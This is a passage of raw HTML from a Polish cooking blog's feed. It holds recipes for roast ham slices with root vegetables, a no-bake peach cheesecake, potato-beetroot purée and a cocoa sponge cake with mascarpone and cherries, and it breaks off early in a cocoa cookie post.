pieczona w plastrach z warzywami" border="0" data-original-height="1200" data-original-width="1600" height="300" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh8958Z4BfKAB7uljGgLVLvMgT1eQIZwncToODnkmL6L9NsTFdT0AaC5W3R5Io9vHpVqtz4ykj52_8PT_ZycmIVOI2bhliWf-R_sVY7IdCVzu7rPR_4IYU8jWJFjxAx68YwtbwzjQsE3Gfn8b09wYwjTwqctv6ckd1fvJW1r43blCIiJoJNSg5QK6n2H8DH/w400-h300/Szynka%20pieczona%20z%20warzywami.jpg" title="Szynka pieczona z warzywami" width="400" /></a></div><span><a name='more'></a></span><div class="separator" style="clear: both; text-align: left;"><b>Szynka pieczona</b> z warzywami to delikatne i bardzo aromatyczne <b>mięso z piekarnika</b>, które smakuje zarówno domownikom, jak i gościom. <b>Szynka wieprzowa</b> z tego przepisu jest umiarkowanie pikantna, dlatego może być podana nawet dzieciom. Jeśli jednak lubimy ostrzejsze smaki, to trzeba dodać nieco więcej pieprzu.</div><div class="separator" style="clear: both; text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: left;"><b>Szynka z piekarnika</b> dodatkowo może być pieczona z kawałkami ziemniaków. Ziemniaki po obraniu pokroić na połówki lub ćwiartki, posmarować delikatnie oliwą i oprószyć solą oraz tymiankiem. Ziemniaki rozłożyć równomiernie na wierzchu, aby podczas pieczenia nie miały kontaktu z powstającym na dnie sokiem.</div><div class="separator" style="clear: both; text-align: left;"><span style="text-align: center;"><br /></span></div><div class="separator" style="clear: both; text-align: left;"><span style="text-align: center;"><b>Szynka pieczona w plastrach</b> będzie miała odpowiedni smak, jeśli do jej przygotowania użyjemy dobrej jakości mięsa. Ze słabej jakości szynki nie zrobimy dobrego dania. Przy zakupie mięsa trzeba zwracać uwagę na jego wygląd, aby nie było przyschnięte, ale też i zbyt wilgotne. Należy wybierać raczej kawałki średniej wielkości, gdyż bardzo duże kawałki mięsa mogą pochodzić ze starszej sztuki lub zwierze było karmione sztucznymi dodatkami powodującymi nienaturalny rozrost mięśni.</span></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhR8FVDZGb0p1aZLpK-BMQGW0c6qHtmejVpsS7KhYSbtFS9Jpc3efrN2kjZOYEtCkzpeglgMfBSTOYLQw06P0tyiyuw5SPU8KC7SHO1nbcNIj-tADrQYsJavN43AwHdbxFo-yZxot1_FCvBpbr-EI5O83tbon8q-9yhEpHuL0vB6deCNiQKsU0PutBrUzkg/s1600/Szynka%20pieczona%20z%20warzywami2.jpg" style="margin-left: 1em; margin-right: 1em;"><img alt="Mięso z szynki wieprzowej pieczone z warzywami" border="0" data-original-height="1215" data-original-width="1600" height="304" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhR8FVDZGb0p1aZLpK-BMQGW0c6qHtmejVpsS7KhYSbtFS9Jpc3efrN2kjZOYEtCkzpeglgMfBSTOYLQw06P0tyiyuw5SPU8KC7SHO1nbcNIj-tADrQYsJavN43AwHdbxFo-yZxot1_FCvBpbr-EI5O83tbon8q-9yhEpHuL0vB6deCNiQKsU0PutBrUzkg/w400-h304/Szynka%20pieczona%20z%20warzywami2.jpg" title="Szynka pieczona z warzywami" width="400" /></a></div></div><fieldset>Liczba porcji: 7<br />Czas przygotowania: 60 minut<br />Czas pieczenia: 70 minut<br /><a title="Wartość kaloryczna 100 g potrawy jest szacunkowa. Produkty producentów mogą różnić się liczbą kcal.">Wartość kaloryczna:</a> 100 g = 190 kcal<br />Kategoria: obiad<br />Dieta: mięsna<br /></fieldset><h3 style="text-align: center;">Przepis na szynkę pieczoną z warzywami</h3><h4 style="text-align: left;">Składniki na szynkę pieczoną w plastrach z warzywami:</h4><div><ul style="text-align: left;"><li>1500 g szynki wieprzowej</li><li>3 marchewki</li><li>1 korzeń selera</li><li>1 pietruszka</li><li>3 cebule</li><li>5 ząbków czosnku</li><li>2 łyżeczki kurkumy</li><li>1 łyżeczka imbiru</li><li>2 łyżeczki pieprzu naturalnego</li><li>1 łyżeczka mielonej gorczycy</li><li>1 łyżeczka mielonej kolendry</li><li>1 łyżeczka mielonego kminku</li><li>1 łyżeczka cukru trzcinowego</li><li>1/2 łyżeczki gałki muszkatołowej</li><li>2 łyżki soli</li><li>3 liście laurowe</li><li>6 ziaren ziela angielskiego</li><li>1 szklanka mąki pszennej pełnoziarnistej</li><li>6 - 8 łyżek oleju do smażenia</li></ul><i>
Do odmierzania używam: łyżki - 15 ml, łyżeczki - 5 ml.</i><br />
<b><span style="font-size: large;">Opis krok po kroku:</span></b></div></div><h4 style="text-align: left;">Jak zrobić szynkę pieczoną z warzywami?</h4><div><ol style="text-align: left;"><li>Mięso oczyścić, pokroić w poprzek włókien na plastry o grubości 1 cm. Każdy plaster z obu stron oprószyć równomiernie solą i wymieszanymi z cukrem trzcinowym mielonymi przyprawami. Przyprawione mięso odstawić na około 40 minut.</li><li>Następnie mięso obtoczyć w mące pełnoziarnistej i obsmażyć na patelni z rozgrzanym olejem.</li><li>Warzywa korzenne obrać, pokroić na mniejsze kawałki i krótko obsmażyć.</li><li>Tak samo postąpić z cebulą i czosnkiem.</li><li>Mięso w brytfance układać warstwami, najpierw obsmażoną szynkę, na nią część cebuli z czosnkiem i część warzyw, które z wierzchu delikatnie posolić. Liczba warstw zależy od wielkości posiadanej brytfanki.</li><li>Do mięsa dodać liść laurowy, ziele angielskie i piec pod przykryciem w piekarniku nagrzanym góra-dół do 190 stopni C około 70 minut. Po upieczeniu odstawić na około 5 minut, aby zatrzymał się proces pieczenia, a mięso zatrzymało w sobie soki.</li><li>Mięso z tego przepisu po upieczeniu jest raczej łagodne w smaku. Osoby lubiące bardziej pikantne potrawy powinny dodać nieco więcej pieprzu.<br /><br /><b><span style="color: #990000;">Zobacz również:</span></b> <a href="https://www.kuchcikgotuje.pl/2017/11/szynka-pieczona-z-ziemniakami.html" target="_blank">szynka pieczona z ziemniakami.</a></li></ol></div>Kuchcik gotujehttp://www.blogger.com/profile/11500955236480559461noreply@blogger.com1tag:blogger.com,1999:blog-2509800748059388515.post-54423402220786740382024-02-02T10:43:00.000+01:002024-02-02T10:43:39.995+01:00Sernik bez pieczenia z brzoskwiniami<h2 style="text-align: left;">Przepis na sernik bez pieczenia z brzoskwiniami, który jest bardzo łatwy do przygotowania. Sernik z brzoskwiniami to proste ciasto na zimno, ale swoim smakiem na pewno pokona niejeden sernik pieczony. Sernik na zimno zrobiony jest z sera z wiaderka i jest to łatwy przepis na sernik, gdyż nie wymaga mielenia sera. Sernik z galaretką i brzoskwiniami rewelacyjnie smakuje o każdej porze roku i odpowiedni jest jako deser na różne okazje.</h2><div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhixyNzoLKkgejjjEliA-2PW6mxY-JXj71s4Sy7lbUy-Pq1Jzw3eVPP0UYrjUwRth5LgCEoEocGGXae1UfpUXj67ce4pE5GEJqv5uKGT4-7RFYtt2a-7LGHyVAmTokq0oOQn7RSo0QkQ_9GEnCZN1AEfLKzYeXX3Au3FpKdBUiorir7EtR7q_GMkfLOwgjd/s1600/Sernik_bez_pieczenia_z_brzoskwiniami.jpg" style="margin-left: 1em; margin-right: 1em;"><img alt="Sernik na zimno z brzoskwiniami i galaretką" border="0" data-original-height="1199" data-original-width="1600" height="300" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhixyNzoLKkgejjjEliA-2PW6mxY-JXj71s4Sy7lbUy-Pq1Jzw3eVPP0UYrjUwRth5LgCEoEocGGXae1UfpUXj67ce4pE5GEJqv5uKGT4-7RFYtt2a-7LGHyVAmTokq0oOQn7RSo0QkQ_9GEnCZN1AEfLKzYeXX3Au3FpKdBUiorir7EtR7q_GMkfLOwgjd/w400-h300/Sernik_bez_pieczenia_z_brzoskwiniami.jpg" title="Sernik bez pieczenia z brzoskwiniami" width="400" /></a></div><span><a name='more'></a></span><div class="separator" style="clear: both; text-align: left;"><b>Sernik bez pieczenia</b> z brzoskwiniami jest prosty do zrobienia. Każdy <b>przepis na sernik na zimno</b> wymaga od nas nieco cierpliwości i dopilnowania momentu tężenia galaretki. Sernik z galaretką to proste <b>ciasto na zimno</b>, ale trzeba pilnować wskazówek podanych w opisie wykonania. <b>Sernik z brzoskwiniami</b> wyjdzie idealny, jeśli dopilnujemy, aby wszystkie produkty miały jednakową temperaturę pokojową.</div><div class="separator" style="clear: both; text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: left;">Sernik bez pieczenia można również przygotować, używając innych owoców z puszki np. gruszek, moreli lub ananasa. Sernik jest umiarkowanie słodki, dlatego ilość cukru dopasować do swoich upodobań.</div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgvIQyBLg1O7OJSCb4bKYypv3B8rLKZXn7tyRQhfRmjmyHX0UoEe3i4RJJkT_VJv3YQ5oRldqt8BaGDo11Du-Gdul50hETmFH3xzWEuvWt6wuTVavAqOIf6lwvI0meXtgvHEwvn8A4TI8pdUF2v1URnEGcFicM24nFHZ__CcPOPcUs0HMRXpHLUylgnWVDE/s1600/Sernik_bez_pieczenia_z_brzoskwiniami2.jpg" style="margin-left: 1em; margin-right: 1em;"><img alt="Sernik z galaretką bez pieczenia" border="0" data-original-height="1182" data-original-width="1600" height="295" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgvIQyBLg1O7OJSCb4bKYypv3B8rLKZXn7tyRQhfRmjmyHX0UoEe3i4RJJkT_VJv3YQ5oRldqt8BaGDo11Du-Gdul50hETmFH3xzWEuvWt6wuTVavAqOIf6lwvI0meXtgvHEwvn8A4TI8pdUF2v1URnEGcFicM24nFHZ__CcPOPcUs0HMRXpHLUylgnWVDE/w400-h295/Sernik_bez_pieczenia_z_brzoskwiniami2.jpg" title="Sernik bez pieczenia z brzoskwiniami" width="400" /></a></div><fieldset>Liczba porcji: 15<br />Czas przygotowania: 30 minut<br />Czas tężenia: 5 godzin<br /><a title="Wartość kaloryczna 100 g potrawy jest szacunkowa. Produkty producentów mogą różnić się liczbą kcal.">Wartość kaloryczna:</a> 100 g = 134 kcal<br />Kategoria: deser, ciasto<br />Dieta: wegetariańska<br />Forma o wymiarach: 23 cm x 33 cm x 7 cm</fieldset><h3 style="text-align: center;">Przepis na sernik bez pieczenia z brzoskwiniami</h3><h4 style="text-align: left;">Składniki na sernik bez pieczenia z brzoskwiniami:</h4>(składniki o temperaturze pokojowej)<br /><div><ul style="text-align: left;"><li>1 kg sera białego sernikowego (u mnie z wiaderka)</li><li>850 g brzoskwiń z puszki (1 puszka)</li><li>150 g cukru pudru</li><li>1 łyżeczka cukru z wanilią</li><li>20 g żelatyny w proszku (3 łyżki)</li><li>2 galaretki brzoskwiniowe lub cytrynowe<br /><b>Spód do sernika:</b></li><li>200 g herbatników kakaowych</li></ul><i>
Do odmierzania używam: łyżki - 15 ml, łyżeczki - 5 ml.</i><br />
<b><span style="font-size: large;">Opis krok po kroku:</span></b></div><h4 style="text-align: left;">Jak zrobić sernik bez pieczenia z brzoskwiniami?</h4></div><div><ol style="text-align: left;"><li>Spód formy wyłożyć herbatnikami. Jeśli forma jest z metalu, to wcześniej pokryć ją folią spożywczą lub papierem do pieczenia.</li><li>Z brzoskwiń odlać do rondla sok i uzupełnić go wodą, aby płynu było 800 ml. Sok zagotować i rozpuścić w nim galaretki, nie gotować! Odstawić do wystudzenia.</li><li>Ser zmiksować z cukrem pudrem i cukrem z wanilią.</li><li>Żelatynę rozpuścić w 100 ml wrzątku i po wystudzeniu dokładnie wymieszać z serem. Ser i żelatyna powinny mieć podobną temperaturę. Dodanie rozpuszczonej żelatyny do zimnego sera sprawi, że żelatyna szybko zastygnie (będą grudki), nie połączy się z serem i sernik nie zastygnie.</li><li>Ser wymieszany z żelatyną przełożyć do formy wyłożonej herbatnikami i wyrównać.</li><li>W masę serową powciskać odsączone i pokrojone na mniejsze cząstki brzoskwinie.<br /></li><li>Formę z sernikiem wstawić na około 10 minut do lodówki.</li><li>Sernik z brzoskwiniami zalać wystudzoną i lekko tężejącą galaretką i wstawić do lodówki na co najmniej 5 godzin.</li><li>Proces tężenia galaretki łatwo zaobserwować, gdyż zaczyna przyklejać się do łyżki i naczynia, chociaż jest jeszcze płynna.<br /><br /><b><span style="color: #990000;">Zobacz również:</span></b> <a href="https://www.kuchcikgotuje.pl/2020/04/sernik-kakaowo-waniliowy-bez-pieczenia.html" target="_blank">sernik kakaowo-waniliowy bez pieczenia</a>.</li></ol></div>Kuchcik gotujehttp://www.blogger.com/profile/11500955236480559461noreply@blogger.com1tag:blogger.com,1999:blog-2509800748059388515.post-35767493988250972332024-01-27T13:18:00.004+01:002024-01-27T13:19:29.885+01:00Purée z ziemniaków i buraków<h2 style="text-align: left;">Purée z ziemniaków i buraków to idealny dodatek do obiadu. Jest to również sposób na wykorzystanie buraków po ugotowaniu barszczu czerwonego. Purée świetnie smakuje podane zarówno do mięsa, jak i do ryby. Podsmażona masa w połączeniu z sadzonym jajkiem tworzy pyszne wegetariańskie śniadanie.<span style="text-align: center;"> </span></h2><div><div style="text-align: center;"><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhYUIG8zj9Zu8YzZMe7Y5PxKS1vVWZ6vIgobo4rMj0afDGzPxEGPOBWgxR9sVsOkCuu0MqIitvt-NqMMOK5omfoCy3LC5uctsLNHhwp4YZvwruUK5kbsck_ImOq6Eud7Uy2mlRHddUEvDejR_r-Urh2a7kh6L-FMZa_151rAdTrOMQHlvtR_4cIJPuEB2Z7/s1600/Puree%20z%20ziemniak%C3%B3w%20i%20burak%C3%B3w%20z%20barszczu.jpg" style="margin-left: 1em; margin-right: 1em;"><img alt="Tłuczone ziemniaki i buraki z barszczu do obiadu" border="0" data-original-height="1178" data-original-width="1600" height="295" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhYUIG8zj9Zu8YzZMe7Y5PxKS1vVWZ6vIgobo4rMj0afDGzPxEGPOBWgxR9sVsOkCuu0MqIitvt-NqMMOK5omfoCy3LC5uctsLNHhwp4YZvwruUK5kbsck_ImOq6Eud7Uy2mlRHddUEvDejR_r-Urh2a7kh6L-FMZa_151rAdTrOMQHlvtR_4cIJPuEB2Z7/w400-h295/Puree%20z%20ziemniak%C3%B3w%20i%20burak%C3%B3w%20z%20barszczu.jpg" title="Puree z ziemniaków i buraków" width="400" /></a></div><span><a name='more'></a></span><div class="separator" style="clear: both; text-align: left;"><b>Purée z ziemniaków</b> i buraków będzie miało intensywniejszy kolor i bardziej buraczany smak, jeśli buraki będą gotowane specjalnie w tym celu. Buraki z barszczu nie są, aż tak wyraziste w smaku, ale do purée z ziemniaków się nadają. Buraki po ugotowaniu barszczu czerwonego często są wyrzucane, a warto zastosować zasadę <b>zero waste</b> i kuchnia będzie smaczna, ale bez resztek.</div><div class="separator" style="clear: both; text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: left;"><b>Przepis na purée</b> po dodaniu mąki, można wykorzystać do przygotowania kopytek lub wegetariańskich kotlecików. Prosty i smaczny dodatek do obiadu, który chętnie jedzą dzieci.</div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh_9hnVqImGXl_838ZmHTFtR0_gTnBLPnisN7qlaEyBH4Prs0DQaeDWS32AqIa5ZYx0KuKEgtNoMBmKnEHSF9ARr_L8naRDecx_4BaHTihlKuX_gL7jhg3fJuNKCK8HtSMBqf-RJTSOPnGCnj6x0HXD3WDgEpcMA2f1c7gJJuDuwhq4CNd26FTJJvODswQ1/s1600/Puree%20z%20ziemniak%C3%B3w%20i%20burak%C3%B3w%20z%20barszczu1.jpg" style="margin-left: 1em; margin-right: 1em;"><img alt="Puree z ziemniaków i buraków z barszczu" border="0" data-original-height="1200" data-original-width="1600" height="300" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh_9hnVqImGXl_838ZmHTFtR0_gTnBLPnisN7qlaEyBH4Prs0DQaeDWS32AqIa5ZYx0KuKEgtNoMBmKnEHSF9ARr_L8naRDecx_4BaHTihlKuX_gL7jhg3fJuNKCK8HtSMBqf-RJTSOPnGCnj6x0HXD3WDgEpcMA2f1c7gJJuDuwhq4CNd26FTJJvODswQ1/w400-h300/Puree%20z%20ziemniak%C3%B3w%20i%20burak%C3%B3w%20z%20barszczu1.jpg" title="Puree z ziemniaków i buraków" width="400" /></a></div></div><fieldset>Liczba porcji: 5<br />Czas przygotowania: 40 minut<br />Czas gotowania: 20 minut<br /><a title="Wartość kaloryczna 100 g potrawy jest szacunkowa. Produkty producentów mogą różnić się liczbą kcal.">Wartość kaloryczna:</a> 100 g = 85 kcal<br />Kategoria: przystawka<br />Dieta: wegetariańska<br /></fieldset><h3 style="text-align: center;">Przepis na purée z ziemniaków i buraków</h3><h4 style="text-align: left;">Składniki na purée z ziemniaków i buraków:</h4><div><ul style="text-align: left;"><li>1 kg ugotowanych ziemniaków</li><li>1 kg ugotowanych buraków (mogą być z barszczu)</li><li>1 cebula</li><li>1/2 łyżeczki gałki muszkatołowej</li><li>2 łyżeczki pieprzu ziołowego</li><li>1/2 łyżeczki oregano</li><li>80 g masła</li><li>1/2 łyżeczki czosnku granulowanego</li><li>1 łyżeczki soli</li><li>pieprz naturalny do smaku</li></ul>
Do odmierzania używam: łyżeczki - 5 ml.<br />
<b><span style="font-size: large;">Opis krok po kroku:</span></b></div></div><h3 style="text-align: left;"><b>Jak zrobić purée z ziemniaków i buraków?</b></h3><div><ol style="text-align: left;"><li>Buraki rozdrobnić blenderem, aby powstała jednolita konsystencja. Jeśli buraki nie są z barszczu, należy je wcześniej obrać.</li><li>Ziemniaki przecisnąć przez praskę i wymieszać z burakami.</li><li>Cebulę bardzo drobno posiekać i zeszklić na maśle.</li><li>Cebulę dodać do buraków z ziemniakami, doprawić do smaku solą, pieprzem, gałką muszkatołową, oregano i czosnkiem granulowanym.</li><li>Wszystko ciągle mieszając podgrzewać, aż odparuje z buraków woda i będzie jednolita konsystencja purée.</li><li>Struktura purée będzie bardziej kremowa i wilgotna, jeśli dodamy więcej masła. U mnie jest z minimalną ilością masła, gdyż nie lubię zbyt wilgotnych ziemniaków.<br /><br /><b><span style="color: #990000;">Zobacz również:</span></b> <a href="https://www.kuchcikgotuje.pl/2015/11/cymes-nie-cymes.html" target="_blank">cymes nie cymes</a>.</li></ol></div>Kuchcik gotujehttp://www.blogger.com/profile/11500955236480559461noreply@blogger.com2tag:blogger.com,1999:blog-2509800748059388515.post-25453992931894153142024-01-20T08:13:00.002+01:002024-01-20T08:13:46.002+01:00Ciasto biszkoptowe z mascarpone i wiśniami<h2 style="text-align: left;">Ciasto biszkoptowe z mascarpone i wiśniami, które jest proste do przygotowania i rewelacyjnie smakuje. Kakaowy, puszysty biszkopt z kremem z mascarpone i konfiturą z wiśni. Szybkie ciasto z mascarpone na święta i nie tylko. Puszyste ciasto biszkoptowe z kremem, które odpowiednio udekorowane, świetnie sprawdzi się jako tort na każdą okazję.</h2><div><div style="text-align: center;"><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiaP0rmN4y7S8f1WjMKKzkQd8FMf7vInEfNgQVlFNcHcNPiW44gxL0C81fueJoloKr_coM7OoW7vynr2boBvyo2HuwMB7117g6xWEg_dzuag6xEZrBscvuH1Q5Q-jIDJznNJzV1abgPH8VkExe3TlkBEchN4td8c12jTTfYpfTIaRVQ9GVnSijWdhK_HCk/s1600/Ciasto_tortowe_z_mascarpone_i_wi%C5%9Bniami1.jpg" style="margin-left: 1em; margin-right: 1em;"><img alt="Torcik z kremem z mascarpone" border="0" data-original-height="1192" data-original-width="1600" height="297" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiaP0rmN4y7S8f1WjMKKzkQd8FMf7vInEfNgQVlFNcHcNPiW44gxL0C81fueJoloKr_coM7OoW7vynr2boBvyo2HuwMB7117g6xWEg_dzuag6xEZrBscvuH1Q5Q-jIDJznNJzV1abgPH8VkExe3TlkBEchN4td8c12jTTfYpfTIaRVQ9GVnSijWdhK_HCk/w400-h297/Ciasto_tortowe_z_mascarpone_i_wi%C5%9Bniami1.jpg" title="Ciasto biszkoptowe z mascarpone i wiśniami" width="400" /></a></div><span><a name='more'></a></span><div class="separator" style="clear: both; text-align: left;"><b>Szybkie ciasto z mascarpone</b> uratowało u mnie niejedno przyjęcie. <b>Ciasto biszkoptowe</b> z mascarpone i wiśniami to kakaowy <b>biszkopt z kremem</b> i konfiturą z wiśni. Krem do ciasta przygotowany jest z serka z mascarpone i w połączeniu z puszystym biszkoptem, można uznać nawet za tort. Jeśli ciasto będzie przeznaczone dla dorosłych, biszkopt można dodatkowo skropić alkoholem.</div><div class="separator" style="clear: both; text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: left;">Przepis na ciasto biszkoptowe jest bardzo prosty i szybki do zrobienia, gdyż nie trzeba nawet oddzielać żółtek od białek. Kakaowy, bardzo <b>puszysty biszkopt</b> po upieczeniu jest delikatny, dlatego trzeba go dokładnie wystudzić. Dobrze wystudzony biszkopt łatwiej jest przekroić na dwa blaty. Ciasto biszkoptowe zazwyczaj piekę wieczorem, a dopiero rano je kroję i przekładam kremem z mascarpone i wiśniami.</div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgY43bFL226BhMEDzmW4XmMPKuQE89bP4tEhZ_UWRQnUdUX2wcDBbirsulWRFtg2_KkiBg9j-4noXYBTtH31XO8h6487OpDSHPDstgjLQAsBCDqnfz_nC3OiBOxy4f0FwuZu85Ffrim1E5rMVd7GYBleVVHRqAaSlSCclOX-f9pUdkm3XtdDxse4UNQ77s/s1600/Ciasto_tortowe_z_mascarpone_i_wi%C5%9Bniami2.jpg" style="margin-left: 1em; margin-right: 1em;"><img alt="Biszkopt z kremem z mascarpone" border="0" data-original-height="1205" data-original-width="1600" height="301" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgY43bFL226BhMEDzmW4XmMPKuQE89bP4tEhZ_UWRQnUdUX2wcDBbirsulWRFtg2_KkiBg9j-4noXYBTtH31XO8h6487OpDSHPDstgjLQAsBCDqnfz_nC3OiBOxy4f0FwuZu85Ffrim1E5rMVd7GYBleVVHRqAaSlSCclOX-f9pUdkm3XtdDxse4UNQ77s/w400-h301/Ciasto_tortowe_z_mascarpone_i_wi%C5%9Bniami2.jpg" title="Ciasto biszkoptowe z mascarpone i wiśniami" width="400" /></a> </div></div><fieldset>Liczba porcji: 20<br />Czas przygotowania: 30 minut<br />Czas pieczenia: 35 minut<br /><a title="Wartość kaloryczna 100 g potrawy jest szacunkowa. Produkty producentów mogą różnić się liczbą kcal.">Wartość kaloryczna:</a> 100 g = 310 kcal<br />Kategoria: deser, ciasto<br />Dieta: wegetariańska<br />Forma o średnicy 28 cm</fieldset><h3 style="text-align: center;">Przepis na ciasto biszkoptowe z mascarpone i wiśniami</h3><h4 style="text-align: left;">Składniki na ciasto biszkoptowe z mascarpone i wiśniami:</h4><div><ul style="text-align: left;"><li>7 jajek</li><li>160 g mąki pszennej typ 450</li><li>56 g mąki ziemniaczanej</li><li>210 g cukru</li><li>1 łyżeczka proszku do pieczenia</li><li>3 łyżeczki kakao naturalnego</li><li>2 łyżki oleju</li><li>1 łyżka octu<br /></li></ul><h4 style="text-align: left;">Krem do ciasta z mascarpone:</h4><ul style="text-align: left;"><li>500 g serka mascarpone</li><li>350 g śmietanki 18% (schłodzić)</li><li>8 łyżek cukru pudru</li><li>1 łyżeczka ekstraktu waniliowego<br />Dodatkowo:<br /></li><li>250 g gęstej konfitury wiśniowej</li><li>1 łyżeczka soku z cytryny</li></ul><i>
Do odmierzania używam: łyżki - 15 ml, łyżeczki - 5 ml.</i><br />
<b><span style="font-size: large;">Opis krok po kroku:</span></b></div></div><h4 style="text-align: left;">Jak zrobić ciasto biszkoptowe z mascarpone i wiśniami?</h4><div><ol style="text-align: left;"><li>Jajka ubić, aby powstała puszysta i jasna konsystencja. Podczas ubijania dodawać stopniowo po łyżce cukier i miksować do czasu, aż nie będzie wyczuwalnych kryształków cukru.</li><li>Na wolnych obrotach miksera zmiksować ubite jajka z olejem oraz wystudzonym kakao, które wcześniej rozmieszać z 5 łyżkami gorącej wody. Olej i kakao dodawać stopniowo.</li><li>Następnie wmieszać delikatnie, ale dokładnie przesiane z proszkiem do pieczenia obie mąkę i ocet.</li><li>Spód formy wyłożyć papierem do pieczenia i przelać do niej ciasto.</li><li>Ciasto biszkoptowe piec w piekarniku nagrzanym góra-dół do 170 stopni C około 30 minut, do tzw. suchego patyczka.</li><li>Po upieczeniu ciasto bez wyjmowania z formy wystudzić, następnie wyjąć i zdjąć powstałą z wierzchu podczas pieczenia cukrową skórkę. Można tego nie robić, ale jest ryzyko, że krem nie będzie dobrze przylegać do wierzchu ciasta.</li><li>Ciasto biszkoptowe po dokładnym wystudzeniu przekroić na 2 blaty. Upieczony biszkopt jest wilgotny i bardzo puszysty, warto więc go upiec nawet dzień wcześniej, aby łatwo było go przekroić.</li><li>Jeden blat ciasta najpierw posmarować cienką warstwą, wcześniej rozdrobnionej z sokiem z cytryny konfitury wiśniowej, a na niej rozsmarować połowę kremem i przykryć drugim blatem z ciasta. Jeśli konfitura nie jest bardzo słodka, to soku cytrynowego można nie dodawać</li><li>Wierzch ciasta również posmarować konfiturą oraz kremem, wyrównać i dowolnie udekorować.</li><li>Wstawić do lodówki na co najmniej 12 godzin, aby krem zastygł.</li></ol><h4 style="text-align: left;">Jak zrobić krem z mascarpone do ciasta?</h4><ol style="text-align: left;"><li>Śmietankę ubić na sztywno dodając po łyżce cukier puder. Pilnować, aby jej nie przebić, gdyż może się rozwarstwić i krem nie wyjdzie. Najlepiej ubijać na niezbyt wysokich obrotach miksera, wtedy łatwiej kontrolować cały proces.</li><li>Do ubitej śmietany dodawać po łyżce serek mascarpone i na wolnych obrotach krótko miksować, aby tylko połączyły się składniki.<br /><br /><b><span style="color: #990000;">Zobacz również:</span></b> <a href="https://www.kuchcikgotuje.pl/2020/08/ciasto-bez-pieczenia-z-wisniami.html" target="_blank">ciasto bez pieczenia z wiśniami i mascarpone</a>.</li></ol></div>Kuchcik gotujehttp://www.blogger.com/profile/11500955236480559461noreply@blogger.com3tag:blogger.com,1999:blog-2509800748059388515.post-64579844443174387262024-01-14T11:02:00.001+01:002024-01-14T11:02:22.784+01:00Ciastka kakaowe z sezamem i migdałami<div><h2 style="text-align: left;">Przepis na ciastka kakaowe, które sprawdzą się na deser zarówno dla dzieci, jak i osób dorosłych. Szybkie ciasteczka kakaowe, można nawet uznać za pierniczki, chociaż są mniej korzenne. Ciasteczka kakaowe są z sezamem i migdałami, ale świetnie smakują bez tych dodatków lub delikatnie posmarowane czekoladą albo lukrem.</h2><div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgLG472zjVqDfblGYqs-5N7u4aZfUPJIAKgxR1nAzKDEOcmb_mfkl-u8uvfIq6oMPD8N9wxvQ9jLhkD9zU-oGmIZtZx4IMfGdnELmkMWSXsgFcXvopZ368HjU5X5utP-AfreD3w_vSGCVdPgdo3fuCukbbfskU1qWEsacWJgER2IZWzT5VbUEGboY7upjzA/s1600/Ciasteczka_kakaowe_z_sezamem_i_migdalami1.jpg" style="margin-left: 1em; margin-right: 1em;"><img alt="Ciastka kakaowe z sezamem" border="0" data-original-height="1182" data-original-width="1600" height="295" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgLG472zjVqDfblGYqs-5N7u4aZfUPJIAKgxR1nAzKDEOcmb_mfkl-u8uvfIq6oMPD8N9wxvQ9jLhkD9zU-oGmIZtZx4IMfGdnELmkMWSXsgFcXvopZ368HjU5X5utP-AfreD3w_vSGCVdPgdo3fuCukbbfskU1qWEsacWJgER2IZWzT5VbUEGboY7upjzA/w400-h295/Ciasteczka_kakaowe_z_sezamem_i_migdalami1.jpg" title="Ciastka kakaowe z sezamem i migdałami" width="400" /></a></div><span><a name='more'></a></span><div class="separator" style="clear: both; text-align: left;"><b>Ciastka kakaowe</b> z sezamem i migdałami są bardzo łatwe do przygotowania i rewelacyjnie smakują. <b>Szybkie ciasteczka kakaowe</b> świetnie się przechowują i nie zmieniają swego smaku ani delikatnej struktury. Przepis na ciastka, którymi od razu po wystudzeniu można się zajadać. Ciasteczka są delikatnie kruche, ale nie twarde. Można uznać, że są to od razu miękkie <b>pierniczki kakaowe</b>.</div><div class="separator" style="clear: both; text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: left;">Ciasto po wyrobieniu może wydawać się dość luźne, ale po schłodzeniu dobrze się rozwałkowuje. Podczas wałkowania warto tylko delikatnie oprószyć mąką wałek i dłonie. Zbyt dużo mąki nie podsypywać, gdyż ciastka po upieczeniu będą twarde. Z masy na ciastka, po wyjęciu jej z lodówki szybko robić ciasteczka, aby ciasto się nie ocieplało, gdyż będzie się przyklejało do wałka.</div><div class="separator" style="clear: both; text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: left;">Warto zrobić wcześniej takie ciasteczka i mieć do kawy dla niespodziewanych gości, nie tylko od święta.</div><div class="separator" style="clear: both; text-align: center;"><a 